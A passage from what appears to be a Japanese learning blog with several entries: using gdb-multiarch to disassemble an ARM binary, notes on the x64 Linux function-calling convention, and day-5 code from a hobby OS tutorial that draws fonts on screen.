Dump of assembler code for function main:
   0x0001055c <+0>:	add    BYTE PTR [eax+0x2d],cl
   0x0001055f <+3>:	jmp    0xe28eb568
   0x00010564 <+8>:	or     al,dl
   0x00010566 <+10>:	dec    ebp
   0x00010567 <+11>:	loop   0x10571 <main+21>
   0x00010569 <+13>:	add    BYTE PTR [ebx],cl
   0x0001056b <+15>:	in     eax,0xc
   0x0001056d <+17>:	adc    BYTE PTR [ebx],cl
   0x0001056f <+19>:	in     eax,0x8
   0x00010571 <+21>:	xor    BYTE PTR [ebx],bl
   0x00010573 <+23>:	in     eax,0x1
   0x00010575 <+25>:	add    BYTE PTR [ebx-0x1d],dl
   0x00010578 <+28>:	or     BYTE PTR [eax],al
   0x0001057a <+30>:	add    dl,cl
   0x0001057c <+32>:	pusha  
   0x0001057d <+33>:	xor    BYTE PTR [edi-0x6cffff1b],bl
   0x00010583 <+39>:	in     eax,0xc
   0x00010585 <+41>:	xor    BYTE PTR [ebx],bl
   0x00010587 <+43>:	in     eax,0x0
   0x00010589 <+45>:	xor    BYTE PTR [ebx-0x5fdffc1b],dl
   0x0001058f <+51>:	loope  0x105e1 <main+133>
   0x00010591 <+53>:	adc    BYTE PTR [edi-0x891b],bl
   0x00010597 <+59>:	jmp    0x10599 <main+61>
   0x00010599 <+61>:	xor    al,ah
   0x0001059b <+63>:	jecxz  0x105aa <main+78>
   0x0001059d <+65>:	add    BYTE PTR [eax],al
   0x0001059f <+67>:	jmp    0x3004:0xe51b300c
   0x000105a6 <+74>:	and    edx,0x0
   0x000105a9 <+77>:	xor    BYTE PTR [ebx-0x5ffffc1b],dl
   0x000105af <+83>:	loope  0x10573 <main+23>
   0x000105b1 <+85>:	(bad)  
   0x000105b2 <+86>:	(bad)  
   0x000105b3 <+87>:	jmp    0x105b5 <main+89>
   0x000105b5 <+89>:	xor    BYTE PTR [eax+0x530000e1],ah
   0x000105bb <+95>:	jecxz  0x105bf <main+99>
   0x000105bd <+97>:	add    BYTE PTR [eax],al
   0x000105bf <+99>:	sbb    ah,BYTE PTR [eax+eax*1]
   0x000105c2 <+102>:	lahf   
   0x000105c3 <+103>:	in     eax,0x61
   0x000105c5 <+105>:	(bad)  
   0x000105c6 <+106>:	(bad)  
   0x000105c7 <+107>:	jmp    0x105ca <main+110>

ところどころ(bad)となっており、マシンコードを適切にアセンブリコードに変換できていないことが分かるかと思います。
あと、みるからにアセンブリコードが変(いつも見ている感じとはなんか違和感がある)です。

ということで、なにも手を加えずgdbでarmバイナリに突撃すると爆死します...

gdb-multiarchを入れてやってみる

では早速入れてやってやってみましょう。いつも通りaptで入れます。

sudo apt install gdb-multiarch

準備はこれで終了です。では早速起動。

$ gdb-multiarch bin_arm 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bin_arm...(no debugging symbols found)...done.
gdb-peda$ 

普通にgdbと同じように起動してしまったので、「これこのまんまでいけるんか?」と不安になりますがそのまま行きます。
また、見て分かる通り、gdb-pedaを入れている方であればgdb-multiarchを起動しても同じようにいけます(おそらく同じ.gdbinitを見にいっているかと)

というわけで、逆アセンブルしたmain関数のアセンブリコードを見てみます。

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0001055c <+0>:	push	{r11, lr}
   0x00010560 <+4>:	add	r11, sp, #4
   0x00010564 <+8>:	sub	sp, sp, #8
   0x00010568 <+12>:	str	r0, [r11, #-8]
   0x0001056c <+16>:	str	r1, [r11, #-12]
   0x00010570 <+20>:	ldr	r3, [r11, #-8]
   0x00010574 <+24>:	cmp	r3, #1
   0x00010578 <+28>:	bgt	0x105a0 <main+68>
   0x0001057c <+32>:	ldr	r3, [pc, #96]	; 0x105e4 <main+136>
   0x00010580 <+36>:	ldr	r0, [r3]
   0x00010584 <+40>:	ldr	r3, [r11, #-12]
   0x00010588 <+44>:	ldr	r3, [r3]
   0x0001058c <+48>:	mov	r2, r3
   0x00010590 <+52>:	ldr	r1, [pc, #80]	; 0x105e8 <main+140>
   0x00010594 <+56>:	bl	0x10374 <fprintf@plt>
   0x00010598 <+60>:	mvn	r3, #0
   0x0001059c <+64>:	b	0x105d8 <main+124>
   0x000105a0 <+68>:	ldr	r3, [r11, #-12]
   0x000105a4 <+72>:	add	r3, r3, #4
   0x000105a8 <+76>:	ldr	r3, [r3]
   0x000105ac <+80>:	mov	r0, r3
   0x000105b0 <+84>:	bl	0x104c0 <check>
   0x000105b4 <+88>:	mov	r3, r0
   0x000105b8 <+92>:	cmp	r3, #0
   0x000105bc <+96>:	bne	0x105cc <main+112>
   0x000105c0 <+100>:	ldr	r0, [pc, #36]	; 0x105ec <main+144>
   0x000105c4 <+104>:	bl	0x10350 <puts@plt>
   0x000105c8 <+108>:	b	0x105d4 <main+120>
   0x000105cc <+112>:	ldr	r0, [pc, #28]	; 0x105f0 <main+148>
   0x000105d0 <+116>:	bl	0x10350 <puts@plt>
   0x000105d4 <+120>:	mov	r3, #0
   0x000105d8 <+124>:	mov	r0, r3
   0x000105dc <+128>:	sub	sp, r11, #4
   0x000105e0 <+132>:	pop	{r11, pc}
   0x000105e4 <+136>:	andeq	r1, r2, r0, asr r0
   0x000105e8 <+140>:	andeq	r0, r1, r4, ror #12
   0x000105ec <+144>:	andeq	r0, r1, r8, ror r6
   0x000105f0 <+148>:	andeq	r0, r1, r4, lsl #13
End of assembler dump.

ちゃんと表示されているっぽい!
ぶっちゃけARMのアセンブリの解析はほとんどやっていないので、どの命令がどの処理をするのかわかってません。
(噂だとオペランドを3つとるとかなんとか....)

なので、ひとまずはこれを使って勉強していこうと思います。

linux x64での関数呼び出し

今回、久しぶりにCTFに参加しました。1問も解けず(泣
ただ、単なる勘違いで逃したようなものなので、その勘違いを供養するためにメモを書きます。
x64の関数呼び出しをx86と同じものだと勘違いしていて、いきなりrdiとかでてきて「ナンジャコリャ」となりました。
なので、そこらへんのちょっとしたメモをば。

呼び出し規約(Call Convention)

サブルーチンが呼び出される際に従わなければいけないルールのこと。ABI(Application Binary Interface)*1の一部。
今回は、サブルーチン(関数)が呼ばれる前にセットされる引数の扱いについてまとめます。

今回の環境は以下の通り

$ uname -a
Linux forensic-virtual-machine 4.13.0-36-generic 
#40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 
x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/os-release 
NAME="Ubuntu"
VERSION="16.04.4 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.4 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial


この環境において、例として以下のようなプログラムを考えます。

// sample.c

#include<stdio.h>

int add(int a, int b, int c);

int main(){
        int x,y,z;
        int sum;
        x = 2;
        y = 3;
        z = 5;
        printf("x = %d, y = %d, z = %d\n", x, y, z);

        sum = add(x,y,z);
        printf("x + y + z = %d\n",sum);

        return 0;
}

int add(int a, int b, int c){
        return a + b + c;
}

着目するのは、定義したadd関数です。
add関数は、3つの引数を足した値を戻り値として返すものになります。

そして、このソースコードを以下のようにコンパイルし、x86バイナリとx64バイナリを生成します

# x86 binary
gcc -m32 sample.c -o sample_x86
# x64 binary
gcc sample.c -o sample_x64

では、ここからx86とx64でadd関数の引数がどのように扱われるのか見ていきます。

x86における引数の扱い

まずは、sample_x86のバイナリをデバッガで見た場合。
add関数の引数は以下のように設定されます。

   0x0804844a <+63>:	push   DWORD PTR [ebp-0x10]         ; 5
   0x0804844d <+66>:	push   DWORD PTR [ebp-0x14]         ; 3
   0x08048450 <+69>:	push   DWORD PTR [ebp-0x18]         ; 2
   0x08048453 <+72>:	call   0x804847e <add>

add関数の引数は3つともスタックにpushされ、その後にadd関数がコールされている形になります。
つまり、x86の場合、関数の引数はスタックに積まれることになります。
(実際、サブルーチンに入った後はebpのオフセット指定で引数の値を取り出して演算を行います)

x64における引数の扱い

では、ここからが本題。x64においてはどうなるのか。
まずは、sample_x64バイナリをデバッガで見た場合を確認。
add関数の引数が以下のように設定されます

   0x000000000040055d <+55>:	mov    edx,DWORD PTR [rbp-0x8]       ; 5
   0x0000000000400560 <+58>:	mov    ecx,DWORD PTR [rbp-0xc]        ; 3
   0x0000000000400563 <+61>:	mov    eax,DWORD PTR [rbp-0x10]      ; 2
   0x0000000000400566 <+64>:	mov    esi,ecx
   0x0000000000400568 <+66>:	mov    edi,eax
   0x000000000040056a <+68>:	call   0x40058d <add>

add関数の引数はレジスタのedi, esi, edxに格納された後、add関数のコールがかかっている状態です。
つまり、x64の場合、関数の引数がレジスタに格納されるという形になります。

また、どの引数がどのレジスタに格納されるかについては、linux64-abiの資料*2を確認してみました。

引数 第1引数 第2引数 第3引数 第4引数 第5引数 第6引数
レジスタ rdi rsi rdx rcx r8 r9

第6引数まではレジスタを使用し、第7引数以上はスタックが使用されるということらしい。

なので、試しにadd関数の引数を8個に引き伸ばした関数を作り、どうなるか試して見ます。
ソースはこちら。

// ext_sample.c

#include<stdio.h>

int add(int a, int b, int c, int d, int e, int f, int g, int h);

int main(){
        int s,t,u,v,w,x,y,z;
        int sum;
        s = 1;
        t = 2;
        u = 3;
        v = 4;
        w = 5;
        x = 6;
        y = 7;
        z = 8;
        sum = add(s,t,u,v,w,x,y,z);
        printf("%d\n",sum);

        return 0;
}

int add(int a, int b, int c, int d, int e, int f, int g, int h){
        return a + b + c + d + e + f + g + h;
}

このソースでは、add関数で8つの引数を指定します。なので、後ろの2つの引数についてはスタックを使っているはずですので、その部分にも注目していきたいと思います。
では、コンパイルした後のx64バイナリをデバッガにかけて、add関数の引数設定を見ていきます。

   0x000000000040052e <+8>:	mov    DWORD PTR [rbp-0x24],0x1     
   0x0000000000400535 <+15>:	mov    DWORD PTR [rbp-0x20],0x2
   0x000000000040053c <+22>:	mov    DWORD PTR [rbp-0x1c],0x3
   0x0000000000400543 <+29>:	mov    DWORD PTR [rbp-0x18],0x4
   0x000000000040054a <+36>:	mov    DWORD PTR [rbp-0x14],0x5
   0x0000000000400551 <+43>:	mov    DWORD PTR [rbp-0x10],0x6
   0x0000000000400558 <+50>:	mov    DWORD PTR [rbp-0xc],0x7
   0x000000000040055f <+57>:	mov    DWORD PTR [rbp-0x8],0x8

   0x0000000000400566 <+64>:	mov    r9d,DWORD PTR [rbp-0x10]
   0x000000000040056a <+68>:	mov    r8d,DWORD PTR [rbp-0x14]
   0x000000000040056e <+72>:	mov    ecx,DWORD PTR [rbp-0x18]
   0x0000000000400571 <+75>:	mov    edx,DWORD PTR [rbp-0x1c]
   0x0000000000400574 <+78>:	mov    esi,DWORD PTR [rbp-0x20]
   0x0000000000400577 <+81>:	mov    eax,DWORD PTR [rbp-0x24]

   0x000000000040057a <+84>:	mov    edi,DWORD PTR [rbp-0x8]      ; 8th argument
   0x000000000040057d <+87>:	push   rdi
   0x000000000040057e <+88>:	mov    edi,DWORD PTR [rbp-0xc]      ; 7th argument
   0x0000000000400581 <+91>:	push   rdi

   0x0000000000400582 <+92>:	mov    edi,eax                                       ; 1st argument
   0x0000000000400584 <+94>:	call   0x4005ab <add>

意図的に改行を入れて少し見やすくしています。

上の段では、1から8までの値をメモリに格納している部分になります。

次の段では、引数として1から8の値を設定するため、レジスタへそれぞれ値を格納しています。
ただし、<+81>の部分では、第1引数の値をeaxに入れています。通常であれば第1引数の値はrdiに入れるはずです。
なぜそんなことをするかというと、その下でrdi(edi)を使っているからです。


その下の段にいくと、値をediにいれてスタックにpushしています。この部分が第7引数と第8引数の設定部分になります。
引数をスタックにpushする際は、rdiレジスタを使っています。スタックに値を入れる順番は後ろに引数からです(ここはx86と変わらない)。
ここでrdiを使ってしまっているので、その上の段で第1引数をrdiに入れるとまずいですね。
(だけど、なんでわざわざrdiレジスタを使うんだろう?他のレジスタじゃだめなのだろうか....)

で、第7引数と第8引数を入れ終わった後はrdiが使えるので、eaxに入っている第1引数の値をrdiに入れ、add関数をコールするという流れになります。

今後の課題

今まで32bitのプログラムの解析ばっかりしていたので、x64の知識が全くついていない。
今回みたいな勘違いが起きないように、x64についてもちゃんと勉強しておこうと思う。

というわけで、以下の本を買ったので読み進めていこう(時間ばあればまとめていきたい)。
www.shoeisha.co.jp

*1:CPUの命令セットや呼出規約といった、ユーザーのプログラムとOS・ライブラリ間のバイナリレベルのインターフェース

*2:https://software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf

30日OS自作入門-5日目(GDTとIDTの前まで)-

だいたい投稿の間隔は1週間という感じでしょうか。
もしかしたらもうちょっとかかるかもしれませんけれども。
ということで5日目のラスト以外の内容について。

今回のまとめ

主には、4日目に表示させた画面上に文字だったり、マウスカーソルを表示させていきます。
どん詰まりすると思われるのはやはりフォントを増やす部分(harib02e)と変数の値を画面に表示させる(harib02g)部分かと思います。そこについては参考となるサイトをガン見してやっていけば問題ないかと思います。

harib02a

nasmhead.nasで記録されている画面モードを取得して、それを使って処理をおこなっていきます。
まずは、bootpack.cを変更していきます。
上記の処理と、4日目の最後harib01hで表示したboxfill8が大量に並んでいるところを関数としてまとめて定義(init_screen関数)します。

/* proto type declaration */ 
extern void io_hlt(void); 
extern void io_cli(void);
extern void io_out8(int port, int data);
extern int io_load_eflags(void);
extern void io_store_eflags(int eflags);

void init_palette(void);
void set_palette(int start, int end, unsigned char *rgb);
void boxfill8(unsigned char *vram, int xsize, unsigned char c, int x0, int y0, int x1, int y1);
void init_screen(char *vram, int x, int y);

#define COL8_000000	0
#define COL8_FF0000	1
#define COL8_00FF00	2
#define COL8_FFFF00	3
#define COL8_0000FF	4
#define COL8_FF00FF	5
#define COL8_00FFFF	6
#define COL8_FFFFFF	7
#define COL8_C6C6C6	8
#define COL8_840000	9
#define COL8_008400	10
#define COL8_848400	11
#define COL8_000084	12
#define COL8_840084	13
#define COL8_008484	14
#define COL8_848484	15

void HariMain(void)
{
	char *vram;
	int xsize, ysize;	
	short *binfo_scrnx, *binfo_scrny;
	int *binfo_vram;

	init_palette();		/* setting palette */
	binfo_scrnx = (short *) 0x0ff4;
	binfo_scrny = (short *) 0x0ff6;
	binfo_vram = (int *) 0x0ff8;
	xsize = *binfo_scrnx;
	ysize = *binfo_scrny;
	vram = (char *) *binfo_vram;

	init_screen(vram, xsize, ysize);

	for(;;){
		io_hlt();
	}
}

void init_palette(void)
{
	static unsigned char table_rgb[16*3] = {
		0x00, 0x00, 0x00,	/* 0:black */
		0xff, 0x00, 0x00,	/* 1:light red */
		0x00, 0xff, 0x00,	/* 2:light green */
		0xff, 0xff, 0x00,	/* 3:light yellow */
		0x00, 0x00, 0xff,	/* 4:light blue */
		0xff, 0x00, 0xff,	/* 5:light purple */
		0x00, 0xff, 0xff,	/* 6:light water blue */
		0xff, 0xff, 0xff,	/* 7:white */
		0xc6, 0xc6, 0xc6,	/* 8:light gray */
		0x84, 0x00, 0x00,	/* 9:dark red */
		0x00, 0x84, 0x00,	/*10:dark green */
		0x84, 0x84, 0x00,	/*11:dark yellow */
		0x00, 0x00, 0x84,	/*12:dark blue */
		0x84, 0x00, 0x84,	/*13:dark purple */
		0x00, 0x84, 0x84,	/*14:dark water blue */
		0x84, 0x84, 0x84	/*15:dark gray */
	};
	set_palette(0, 15, table_rgb);
	return;

	/* static char operation is equals to DB operation */
}

void set_palette(int start, int end, unsigned char *rgb)
{
	int i, eflags;
	eflags = io_load_eflags();		/* record the allowing interrupt flags value */
	io_cli();				/* set allowing flag 0 for prohibitting interrupt */
	io_out8(0x03c8, start);

	for(i = start; i <= end; i++){
		io_out8(0x03c9, rgb[0]/4);
		io_out8(0x03c9, rgb[1]/4);
		io_out8(0x03c9, rgb[2]/4);
		rgb += 3;			/* gain rgb pointer index 3 */
	}

	io_store_eflags(eflags);		/* restore interrupt allowing flags */
	return;
}

void boxfill8(unsigned char *vram, int xsize, unsigned char c, int x0, int y0, int x1, int y1)
{
	int x,y;
	for(y = y0; y <=y1; y++){
		for(x = x0; x <= x1; x++){
			vram[y * xsize + x] = c;
		}
	}
	return;
}

void init_screen(char *vram, int x, int y)
{
	boxfill8(vram, x, COL8_008484,  0,	0,	x - 1, 	y - 29);
	boxfill8(vram, x, COL8_C6C6C6,  0,	y - 28,	x - 1, 	y - 28);
	boxfill8(vram, x, COL8_FFFFFF,  0,	y - 27,	x - 1, 	y - 27);
	boxfill8(vram, x, COL8_C6C6C6,  0,	y - 26,	x - 1, 	y - 1);

	boxfill8(vram, x, COL8_FFFFFF,  3,	y - 24,	59,	y - 24);
	boxfill8(vram, x, COL8_FFFFFF,  2,	y - 24,	2, 	y - 4);
	boxfill8(vram, x, COL8_848484,  3,	y - 4,	59, 	y - 4);
	boxfill8(vram, x, COL8_848484,  59,	y - 4,	59, 	y - 5);
	boxfill8(vram, x, COL8_000000,  2,	y - 3,	59, 	y - 3);
	boxfill8(vram, x, COL8_000000,  60,	y - 24,	60, 	y - 3);

	boxfill8(vram, x, COL8_848484,  x - 47,	y - 24,	x - 4, 	y - 24);
	boxfill8(vram, x, COL8_848484,  x - 47,	y - 23,	x - 47, y - 4);
	boxfill8(vram, x, COL8_FFFFFF,  x - 47,	y - 3,	x - 4, 	y - 3);
	boxfill8(vram, x, COL8_FFFFFF,  x - 3,	y - 24,	x - 3, 	y - 3);
	
	return;
}

今回は、コードをまとめたりしただけなので、実際にmakeして実行させてもharib01hのときのものと結果は変わりません。
HariMainのところで追加で変数宣言したり、値を代入を以下のようにしています。

void HariMain(void)
{
	char *vram;
	int xsize, ysize;	
	short *binfo_scrnx, *binfo_scrny;
	int *binfo_vram;

	init_palette();		/* setting palette */
	binfo_scrnx = (short *) 0x0ff4;
	binfo_scrny = (short *) 0x0ff6;
	binfo_vram = (int *) 0x0ff8;
	xsize = *binfo_scrnx;
	ysize = *binfo_scrny;
	vram = (char *) *binfo_vram;

で、binfo_scrnxやbinfo_scrny, binfo_vramにアドレスを格納していますが、これらはnasmhead.nasで画面解像度の値が格納されているアドレスになります。
nasmhead.nasで該当する部分がこちら。

; related to BOOT_INFO
CYLS	EQU	0x0ff0		; setting boot sector
LEDS	EQU	0x0ff1
VMODE	EQU	0x0ff2		; how many bit color ?
SCRNX	EQU	0x0ff4		; X display resolution
SCRNY	EQU	0x0ff6		; Y display resolution
VRAM	EQU	0x0ff8		; start address fo graphic buffer

	ORG	0xc200		; start address this program is loaded

; display mode settings
	
	MOV	AL,0x13		; VGA graphics, 320x200x8bit color
	MOV	AH,0x00		; fixed value
	INT	0x10
	MOV	BYTE [VMODE],8	; store display mode in the following
	MOV	WORD [SCRNX],320
	MOV	WORD [SCRNY],200
	MOV	DWORD [VRAM],0x000a0000

SCRNX, SCRNY, VRAMのアドレスに値をそれぞれ320, 200, 0xa0000と入れています。この値をbinfo_ふんちゃかでは参照しています。

また、harib01hの時にHariMain関数にあった大量のboxfill8関数をまとめてinit_screen関数に置いたことでHariMainの中身がすっきりしました。

この後のharib02bとharib02cは構造体とアロー演算子の話なのですっとばします。
アロー演算子は、構造体のポインタ変数を宣言した際に、そのメンバのポインタを指定する際に使用するものです。
通常の構造体変数を宣言した場合はメンバへのアクセスはドットを使い、構造体ポインタを宣言した場合にはメンバへのアクセスはアロー演算子を使う、といった具合。

harib02d

今まで何もなかった画面上にAという文字を表示させます。
変更するのはbootpack.cになります。コードは以下の通り。

/* proto type declaration */ 
extern void io_hlt(void); 
extern void io_cli(void);
extern void io_out8(int port, int data);
extern int io_load_eflags(void);
extern void io_store_eflags(int eflags);

void init_palette(void);
void set_palette(int start, int end, unsigned char *rgb);
void boxfill8(unsigned char *vram, int xsize, unsigned char c, int x0, int y0, int x1, int y1);
void init_screen(char *vram, int x, int y);
void putfont8(char *vram, int xsize, int x, int y, char c, char *font);
 
#define COL8_000000	0
#define COL8_FF0000	1
#define COL8_00FF00	2
#define COL8_FFFF00	3
#define COL8_0000FF	4
#define COL8_FF00FF	5
#define COL8_00FFFF	6
#define COL8_FFFFFF	7
#define COL8_C6C6C6	8
#define COL8_840000	9
#define COL8_008400	10
#define COL8_848400	11
#define COL8_000084	12
#define COL8_840084	13
#define COL8_008484	14
#define COL8_848484	15

struct BOOTINFO{
	char cyls, leds, vmode, reserve;
	short scrnx, scrny;
	char *vram;
};

void HariMain(void)
{
	struct BOOTINFO *binfo = (struct BOOTINFO *) 0x0ff0;
	static char font_A[16] = {
		0x00, 0x18, 0x18, 0x18, 0x18, 0x24, 0x24, 0x24,
		0x24, 0x7e, 0x42, 0x42, 0x42, 0xe7, 0x00, 0x00
	};

	init_palette();		/* setting palette */
	init_screen(binfo->vram, binfo->scrnx, binfo->scrny);
	putfont8(binfo->vram, binfo->scrnx, 10, 10, COL8_FFFFFF, font_A);

	for(;;){
		io_hlt();
	}
}

void init_palette(void)
{
	static unsigned char table_rgb[16*3] = {
		0x00, 0x00, 0x00,	/* 0:black */
		0xff, 0x00, 0x00,	/* 1:light red */
		0x00, 0xff, 0x00,	/* 2:light green */
		0xff, 0xff, 0x00,	/* 3:light yellow */
		0x00, 0x00, 0xff,	/* 4:light blue */
		0xff, 0x00, 0xff,	/* 5:light purple */
		0x00, 0xff, 0xff,	/* 6:light water blue */
		0xff, 0xff, 0xff,	/* 7:white */
		0xc6, 0xc6, 0xc6,	/* 8:light gray */
		0x84, 0x00, 0x00,	/* 9:dark red */
		0x00, 0x84, 0x00,	/*10:dark green */
		0x84, 0x84, 0x00,	/*11:dark yellow */
		0x00, 0x00, 0x84,	/*12:dark blue */
		0x84, 0x00, 0x84,	/*13:dark purple */
		0x00, 0x84, 0x84,	/*14:dark water blue */
		0x84, 0x84, 0x84	/*15:dark gray */
	};
	set_palette(0, 15, table_rgb);
	return;

	/* static char operation is equals to DB operation */
}

void set_palette(int start, int end, unsigned char *rgb)
{
	int i, eflags;
	eflags = io_load_eflags();		/* record the allowing interrupt flags value */
	io_cli();				/* set allowing flag 0 for prohibitting interrupt */
	io_out8(0x03c8, start);

	for(i = start; i <= end; i++){
		io_out8(0x03c9, rgb[0]/4);
		io_out8(0x03c9, rgb[1]/4);
		io_out8(0x03c9, rgb[2]/4);
		rgb += 3;			/* gain rgb pointer index 3 */
	}

	io_store_eflags(eflags);		/* restore interrupt allowing flags */
	return;
}

void boxfill8(unsigned char *vram, int xsize, unsigned char c, int x0, int y0, int x1, int y1)
{
	int x,y;
	for(y = y0; y <=y1; y++){
		for(x = x0; x <= x1; x++){
			vram[y * xsize + x] = c;
		}
	}
	return;
}

void init_screen(char *vram, int x, int y)
{
	boxfill8(vram, x, COL8_008484,  0,	0,	x - 1, 	y - 29);
	boxfill8(vram, x, COL8_C6C6C6,  0,	y - 28,	x - 1, 	y - 28);
	boxfill8(vram, x, COL8_FFFFFF,  0,	y - 27,	x - 1, 	y - 27);
	boxfill8(vram, x, COL8_C6C6C6,  0,	y - 26,	x - 1, 	y - 1);

	boxfill8(vram, x, COL8_FFFFFF,  3,	y - 24,	59,	y - 24);
	boxfill8(vram, x, COL8_FFFFFF,  2,	y - 24,	2, 	y - 4);
	boxfill8(vram, x, COL8_848484,  3,	y - 4,	59, 	y - 4);
	boxfill8(vram, x, COL8_848484,  59,	y - 4,	59, 	y - 5);
	boxfill8(vram, x, COL8_000000,  2,	y - 3,	59, 	y - 3);
	boxfill8(vram, x, COL8_000000,  60,	y - 24,	60, 	y - 3);

	boxfill8(vram, x, COL8_848484,  x - 47,	y - 24,	x - 4, 	y - 24);
	boxfill8(vram, x, COL8_848484,  x - 47,	y - 23,	x - 47, y - 4);
	boxfill8(vram, x, COL8_FFFFFF,  x - 47,	y - 3,	x - 4, 	y - 3);
	boxfill8(vram, x, COL8_FFFFFF,  x - 3,	y - 24,	x - 3, 	y - 3);
	
	return;
}

void putfont8(char *vram, int xsize, int x, int y, char c, char *font)
{
	int i;
	char *p, d;	// d == data
	for(i = 0; i < 16; i++){
		p = vram + (y + i) * xsize + x;
		d = font[i];
		if((d & 0x80) != 0){ p[0] = c; }
		if((d & 0x40) != 0){ p[1] = c; }
		if((d & 0x20) != 0){ p[2] = c; }
		if((d & 0x10) != 0){ p[3] = c; }
		if((d & 0x08) != 0){ p[4] = c; }
		if((d & 0x04) != 0){ p[5] = c; }
		if((d & 0x02) != 0){ p[6] = c; }
		if((d & 0x01) != 0){ p[7] = c; }
	}
	return;
}

まず、構造体ポインタbinfoはアドレス0x0ff00をさしています。構造体自体は配列と同じように、メモリの連続したアドレス上にデータを格納します。配列と異なる点は、構造体の場合メンバ変数ごとに型が異なることです(メンバ変数がすべて同じ型であれば配列と同じようになると思います)。
それを踏まえると、構造体のメンバのアドレスはそれぞれ以下の通りになります。

0x0ff0 : cyls, 0x0ff1 : leds, 0x0ff2 : vmode, 0x0ff3 : reserve, 
0x0ff4 : scrnx, 0x0ff6 : scrny,
0x0ff8 : vram
char型は1バイトを使用、short型は2バイトを使用

それぞれのアドレスがnasmhead.nasで定義したBOOT_INFOの部分に一致するのが確認できるかと思います(上に記載したnasmhead.nasの該当部分を参照してください)。

次にfont_A配列について。
これは本に書いてある通り、「A」という文字を8(横)×16(縦)のドットで表現した場合に「塗りつぶしたドット部分」をhexで表した値を配列として定義したものになります。
下に表したものだとわかりやすいかな。

0 0 0 0 0 0 0 0    = 0x00
0 0 0 1 1 0 0 0    = 0x18
0 0 0 1 1 0 0 0    = 0x18
0 0 0 1 1 0 0 0    = 0x18
0 0 0 1 1 0 0 0    = 0x18
0 0 1 0 0 1 0 0    = 0x24
0 0 1 0 0 1 0 0    = 0x24
0 0 1 0 0 1 0 0    = 0x24
0 0 1 0 0 1 0 0    = 0x24
0 1 1 1 1 1 1 0    = 0x7e
0 1 0 0 0 0 1 0    = 0x42
0 1 0 0 0 0 1 0    = 0x42
0 1 0 0 0 0 1 0    = 0x42
1 1 1 0 0 1 1 1    = 0xe7
0 0 0 0 0 0 0 0    = 0x00
0 0 0 0 0 0 0 0    = 0x00

2進数表現でドットを塗りつぶした部分を1とした場合、各行の2進数をhexで表したものがfont_A配列に格納されています。
あとは、これをvramに書き込んであげることで「A」という文字を表示します。その処理を行うのがputfont8関数です。

putfont8関数では、上で定義したfont_A配列を使ってAを表示します。
for文内にあるif文は各ループにおいて全て実施されます。記述されているif文は、font_Aの各配列要素を2進数で考えた際に「1になっている部分を識別して、その部分に色をセットする」ことをやっています。どの色をセットするかはputfont8のarg4で指定したもの(今回の場合はCOL8_FFFFFF)で決定しています。

ということで、実行した結果は以下のようになります。
f:id:motojiroxx:20180619010703p:plain
図形だけでなく文字もちゃんと表示することができました。

harib02e

フォントを増やして色々な文字を表示する、という話なのですがここでも独自ツール。。。はぁ。
フォントの元となるhankaku.txtファイルはあるので、それを読み取って先ほどのAと同じようなものを作るコードが必要になります。
処理の方針としては、hankaku.txtに書かれているドットとアスタリスクで描かれたものを読み取り、ドットだったら0、アスタリスクだったら1に変換して、それをfont_X[16]といった形でhexの値を入れていくという形です。
で、自分にはコードを自力で書く能力はないので、いつも通り参考となるサイトに書いてあるものを見よう見まねでやってみます。
参考とするのは、以下のサイトです。いつも参考にさせていただいている「サラリーマンがハッカーを真剣に目指す」のOS自作5日目です
GDT(グローバルディスクリプタテーブル) | OS自作入門 5日目-1 【Linux】 | サラリーマンがハッカーを真剣に目指す
ということで、上記に書いてあるコードを参考に(丸パクリ)します。
converter.cとして保存し、まずはこいつをコンパイルして実行します
(このコードについては、下で自分なりの解説などを入れたいと思います)

gcc converter.c -o converter.o
./converter.o

実行がうまくいくと、ディレクトリにhankaku.cというコードが出てきますので、これをつかってOS上でA以外のフォントを表示させます。
bootpack.cでの変更点は、まずfont_Aの配列をなくしてhankaku.cで定義している配列を取り込むコードをかきます。次に取り込んだ配列を使って複数の文字を画面上に描画する処理をかきます。
今回は変更点だけ以下に記します(他の部分は変更ありません)。

void HariMain(void)
{
	struct BOOTINFO *binfo = (struct BOOTINFO *) 0x0ff0;
	extern char hankaku[4096];

	init_palette();		/* setting palette */
	init_screen(binfo->vram, binfo->scrnx, binfo->scrny);
	putfont8(binfo->vram, binfo->scrnx,  8, 8, COL8_FFFFFF, hankaku + 'A' * 16);
	putfont8(binfo->vram, binfo->scrnx, 16, 8, COL8_FFFFFF, hankaku + 'B' * 16);
	putfont8(binfo->vram, binfo->scrnx, 24, 8, COL8_FFFFFF, hankaku + 'C' * 16);
	putfont8(binfo->vram, binfo->scrnx, 40, 8, COL8_FFFFFF, hankaku + '1' * 16);
	putfont8(binfo->vram, binfo->scrnx, 48, 8, COL8_FFFFFF, hankaku + '2' * 16);
	putfont8(binfo->vram, binfo->scrnx, 56, 8, COL8_FFFFFF, hankaku + '3' * 16);

また、hariboteos.img作成時にもhankaku.cをリンクさせないといけないので、Makefileを少し変更します。
とはいってもbootpack.hrbの部分にhankaku.cを追加するだけです。

ootpack.hrb: hankaku.c bootpack.c nasmfunc.o os.lds
	gcc -march=i486 -m32 -nostdlib -T os.lds nasmfunc.o hankaku.c bootpack.c -o bootpack.hrb

実行した結果は以下の通りです。
f:id:motojiroxx:20180619032809p:plain

いいかんじです!

harib02f

